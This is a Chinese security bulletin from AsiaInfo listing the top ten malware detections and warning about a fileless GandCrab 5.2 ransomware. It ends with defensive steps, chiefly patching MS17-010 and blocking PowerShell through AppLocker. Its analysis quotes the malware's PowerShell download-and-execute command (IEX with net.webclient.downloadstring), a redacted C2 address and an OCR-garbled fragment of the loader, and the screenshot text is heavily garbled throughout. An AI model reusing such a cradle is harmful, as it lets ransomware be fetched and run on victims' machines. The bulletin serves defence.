







前十大病毒警讯

排名	病毒名称	威胁类型	风险等级	趋势	病毒行为描述
1	TROJ_EQUATED.J	Trojan	**	1	木马病毒,它可能是使用者手动安裝 的。
2	Trojan.Win32.EQUATED.LZ CWR	Trojan	**	+	木马病毒,它可能是使用者手动安装 的。
3	Trojan.Win32.EQUATED.LZ CWQ	Trojan	**	+	木马病毒,它可能是使用者手动安裝 的。
4	Trojan.Win32.EQUATED.LZ CWO	Trojan	*	Ť	它需要主要组件才能成功执行预期例 程。 其他详细信息它需要主要组件才 能成功执行预期例程。
5	BKDR_VOOLS.B	Backdoor	1**	+	木马病毒,它可能是使用者手动安裝 的。
6	TROJ_ETEROCK.C	Trojan	**	+	木马病毒,它可能是使用者手动安裝 的。
7	HTML_IFRAME.DY	HTML	**	t	该漏洞允许在未经用户同意的情况下 自动执行电子邮件附件
8	BKDR_EQUATED.LZCMU	Trojan	**	ŧ	木马病毒,它可能是使用者手动安裝 的。
9	TROJ_EQUATED.LZCMT	Trojan	*	t	木马病毒,它可能是使用者手动安裝 的。
10	TROJ64_EQUATED.H	Trojan	**	t	木马病毒, 它可能是使用者手动安裝 的







无文件勒索病毒预警

事件描述

近日, 亚信安全截获全新无文件勒索病毒, 该病毒在 PowerShell 申请的内存空间中直接完成恶意代码的下载、解密和执行, 全程无文件落地。其解密后执行的勒索病毒为 GANDCRAB 5.2。此次截获的无文件勒索病毒主要通过如下途径 传播:

- 垃圾邮件传播;
- > "永恒之蓝"漏洞及中间件漏洞攻击
- 网页挂马攻击;
- RDP和VNC爆破入侵;
- 困绑、隐藏在一些破解、激活、游戏工具中传播;

无文件勒索病毒分析

✓ 该病毒在 PowerShell 申请的内存空间中直接完成恶意代码的下载和解密,并执行解密后的勒索病毒 GANDCRAB
 5.2。

powershell.exe 631356 "C:\Windows\SysWOW64\ WindowsPowerShell\v1.0\powershell.exe" IEX ((new-object net.webclient).do wnloadstring('https://;));Invoke-VIZXQUFZIPQPV CSOXIAEV;Start-Sleep -s 100000; Microsoft Windows Windows PowerShell C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

✓ 该病毒具有后门功能,其会链接 <u>https://paxxxxin.com/xxx/sxxx9Dqt 网址发送和接收命令,完成一系列恶意行</u>为。



```
亚信马夫
AsiaInfo
```

C https://

ÿ.

(CadletDarsing()). Constants:() Parma([Parmats:(Parition = 0, Marchetscy = Struel) (ValidateStRullOcEmpty()] [Dyte:[] SPEDyter, (Parameter(Perithens = ()) (String[]] \$ComputerWaney (Paraseter(Porition = 27) [ValidateSet('WString', 'String', 'Veid')] [String] SFurcReturnType = 'Veid', [Parameter(Forstion = 3)] [String] SEreArge, [Parameter(Position = 4)] [Int32] \$Proold, (Parameter(Position = 5)) [String] SProcName, [Switch] \$Fortwalks. (Switch) \$DoSotZegoM2 Set-StructHode -Version 2 SRemoteScriptBlock = (
 (CadDetBinding())
 Parms([Parameter(Position = 0, Hundatory = \$true)] [Dyte[]] SPEDytes, [Parameter(Position = 1, Mandatory = Strue)] [String] \$ParaMetaumType, [Furameter(Portion \approx 2, Mandatory = \$true)] [Dit\$2] [FreeId, [Parameter(Porition + 3, Mandatory = Strue)]

【https://paxxxxin.com/xxx/sxxx9Dqt网址内容】

[String] IProclime,

其中包含 base64 加密的代码,我们将其解密后,发现该文件是已知的 GANDCRAB 勒索病毒。 ✓

8





C Aire

ferre par chia mobilitar

ą.

【base64 加密的代码】

解决方案

- ✓ 尽量关闭不必要的端口,如:445、135,139等,对3389,5900等端口可进行白名单配置,只允许白名单内的 IP 连接登陆;
- ✓ 尽量关闭不必要的文件共享;
- ✓ 采用高强度的密码,避免使用弱口令密码,并定期更换密码;
- ✓ 不要点击来源不明的邮件以及附件;
- ✓ 及时更新系统,更新应用程序;打全系统及应用程序补丁程序;

✓ 系统打上 MS17-010 对应的 Microsoft Windows SMB 服务器安全更新 (4013389)补丁程序。 详细信息请参考链接: http://www.catalog.update.microsoft.com/Search.aspx?q=MS17-010

 ✓ 请注意备份重要文档。备份的最佳做法是采取 3-2-1 规则,即至少做三个副本,用两种不同格式保存,并将副本放 在异地存储。

亚信安全解决方案:

✓ 使用亚信安全防毒墙网络版(OfficeScan 11 SP1 及以上版本),开启针对勒索软件(Ransomware)的行为阻止策
 略,可有效拦截勒索病毒对系统中的文件进行加密。



✓ 对于一些不需要使用 PowerShell 的机器 (需得到用户确认),可以使用 AppLocker 禁用 PowerShell,具体方法如下:

一) 创建 AppLocker rule

键盘输入 Windows 徽标+ R 打开运行窗口, 输入 gpedit.msc

1、选择计算机配置 -> Windows 设置-> 安全设置 -> 应用程序控制策略 -> AppLocker



2、右键点击"可执行规则",选择"创建新规则"





ER TRACT		
> 📋 高级安全 Wi	indows 防火墙	
🗾 网络列表管理	星器策略	
> I 无线网络(IEI	EE 802.11)策略	
∋ 🞽 公钥策略		
> 📋 软件限制策制	ě.	
→ 📔 应用程序控制	则策略	
Y AppLoc	ker	
) [] () () ()) () () ()) () () ()) () ()) () ()) () ()) () ()) () ()) () () ()) () () () () () () () () () () () () ()	□由市町 创建新规则(N) 自动生成规则(A) 创建默认规则(D)	
> 🛃 IP 安全領 	查看(V)	2
加基于策略的	导出列表(L)	
會理模板:从本:	帮助(H)	
皆选项		
Windows 设置		
→ 控制面板设置		
1994年		

3、单击"创建新规则"后,打开如下窗口,单击"下一步"

创建可执行规则		-8
在你开始前		
200月1日 60月 泉井 波ち青 半月 高齢	 出病時報告你前望 Applocker 规则,规则基于文件重性(如文件数字签名中包含的文件数号 成款件没用者)。 在继续操作之前,清确认已完成下列诊察 - 安城要在武计算机上方其创建项则的应用程序、 - 曾合你的现象规则。 - 重要 Applocker 交档。 - 重要继续,清朝主 下一步'。 	
	□ W/mg元平WHITHER(S)	

4、在下图中,操作选项选择"拒绝",并为此规则选择适用的用户或组,配置完成后,单击"下一步":



金建可抗行規制		×
- KRINI		
在6开始前 61 整件 发布者	选择要使用的位置和要应用此规则的用户都值。尤许强作会让受影响的文体运行, 而把电理作会组上或影响的文件运行。	
間(7) (名称)	50 ○ ☆〒WA ● 形形(D)	
	Restigute Everyone BRist.	
	a + Contractor - C	
	< (M)=	Reads
、然后选择"跆	路径",然后单击下一步:	
新建 可快行和当		×
在47开始的 12月 12月	选择位希望的重要条件的类型(V)。	
第42 1939 名称	○ 发布着(U) 如果你希望为我创建规则的应用程序已由软件发布者签表,财选择此选择。	
	④ 器径(A) 为特定文件能文件实践记住实践记忆,如果选择文件来:则规则将要求文件来中的所 和文件。	
	G 文件抽解(H) 如果用量为非当系的范围提升加量规则,则透得此透示。	

6、选择 PowerShell 程序路径,然后单击"下一步":

B#100 Prestende



・上-歩(P) 下-歩(N) > 例題(C) 取扱し)



	也同此用的意思源的文体成文体中 有文件。	196. 2001至2014月196- 21月29	臺灣這種逐下的新	
	静径(T): C\\Windows\System32\Windo	asPowerSheilur1.01	_	
	東岳文垟(E)	周围文件条件		
	eragiokazativet			
	+FLOORING HAVE		★上一歩(P) 下一歩	ING + MERICE REALLY
	++1200+3438mee	L	<u>世一</u> 世 (可世一上十	NG + BERICO REARD
新规则指定	名称,然后单击"创建	· :	- <u>-</u>	(Ni + BERICI ROMAL)
新规则指定	名称,然后单击"创建		±-₹, (0,±-±+	
新规则指定	名称,然后单击"创建		±-₹ (0,±-1+	(N: + MARCI REARCI
新规则指定 957-1589 名称和描述	名称,然后单击"创建		<u>+</u> - T (5t-1+	(N: + MARCI REARCI
D新规则指定 997-108 名称和描述	名称, 然后单击"创建		<u>+</u>	(Ni + Billici Riadi
新规则指定 957-108 名称和描述	名称, 然后单击"创建	· · · · · · · · · · · · · · · · · · ·	+1-#(P) T-#	(N: - BIRCI REAL
新规则指定	名称,然后单击"创建" 《人名布马氏记录机。		+1-#(P) T-#	(N: + BIRC REAL
新规则指定	名称, 然后单击 "创建 低A 和 D G P D E 成 度 度 度 度 度 度 (面 数)	· · · · · · · · · · · · · · · · · · ·		(NI + BIRCI REALL
新规则指定	名称, 然后单击 "创建 低人名和口石 (200) 開立 (可言)			(NI * BIB)(C) REAL
新规则指定	名称, 然后单击 "创建 低A S # 1 6 7 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2			

8、如下提示框选择"是"



- 1-3(P)

210(C) ROND





9、右键选择 AppLocker 并单击属性,然后在"可执行规则"下,选择"强制规则",勾选"已配置"

描定是否为每个规则集合强制执行 AppLocker 规则。	
可执行規则(E) 「」 已配置	
经制规则	
Windown Installer 规则(g). □ 已配置	
《圣秋日四》	
脚本规则(S): □ 已配置	EX
All an and an	
封装应用规则(t): □ 已配置	
·····································	
有关规则随制的详细信息	

二)确保 Application Identify 服务开启,并设置为开机自启动,如果此服务未正确开启,则 AppLocker rule 无法正确运行。





		809				1-10	and the
文件(F) 操作(A)	重要(V) 帮助(H)						
**	0 0 0 0 F B B D						
服务(本地)	原务(本地)				-		
	Application Identity	名称 *	描述	秋香	自动关键	登录力	10
		Active Directory Domain	AD_	正在	自动	本地系统	-
	但的此限务	Active Directory Web Ser	世冠	正在	自动	本地系统	-
		App Readiness	动用 。		手助	本地系统	
	100.0	Application Esperience	100	_	FRANK	THEM	
	第 世并验证应用程序的标识。 象用此	Application Identity	61.		10.0000	1215000	
	服务将阻止强制执行 AppLocker.	Application Information	(第一)		李动,威友-	THERE.	
		Application Layer Gatewa	为In_		原题	本地服务	
		Application Management	为遗		手动	本地系统	
		AppX Deployment Servic	为数.,		原期)	本地系统	
		Background Intelligent T_	使用		季助	本地系统	
		Background Tasks Infras_	近期	正在	自动	本地系统	
		Base Filtering Engine	基本	正在	首切	本地服务	
		Certificate Propagation	将用		平动	本地系统	
		CNG Key Isolation	CNG_		手助,触发_	本地系统	
		COM+ Event System	双种	正在	自动	本地服务	
		COM+ System Application	曹建	正在	原题	本地系统	
		Computer Browser	编护		M/R	本地系统	
		Credential Manager	为用。		手动	本地系统	
		Cryptographic Services	播供	正在	面詞	网络服务	
		DOOM Server Process La.	000	iFre.	16 M	主地医师	14
	*#\\&#/</td><td></td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table>						

3 Application Identity 的屬性(本地計算机) 常规 豐學 恢复 依存关系 服装名称: AppIDSve 皇示名称: Application Identity 确定并检证应用程序的标识。 禁用比服务将阻止强制执 描述 FT AppLocker, 42 可执行文件的路径: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted 回动岗型(E); 自动 ÷ 服务状态: 正在运行 停止而 (中国)(石) ER(S) **新知**(P) 当从此处局动服务时,你可指定所适用的启动参数。 CEF 影响Mile 确定 歌演 应用(A)

三)管理员权限运行命令行窗口,输入 GPUPDATE,更新组策略。



Asialnfo 亚信安全



五) 本文以 Windows 10 系统为例进行说明,所述设置方法还适用于如下系统:

- Windows 7
- Windows 8
- Windows Server

注意: 上述方法适用于单机版, 域控部署方法建议咨询管理员或者微软。

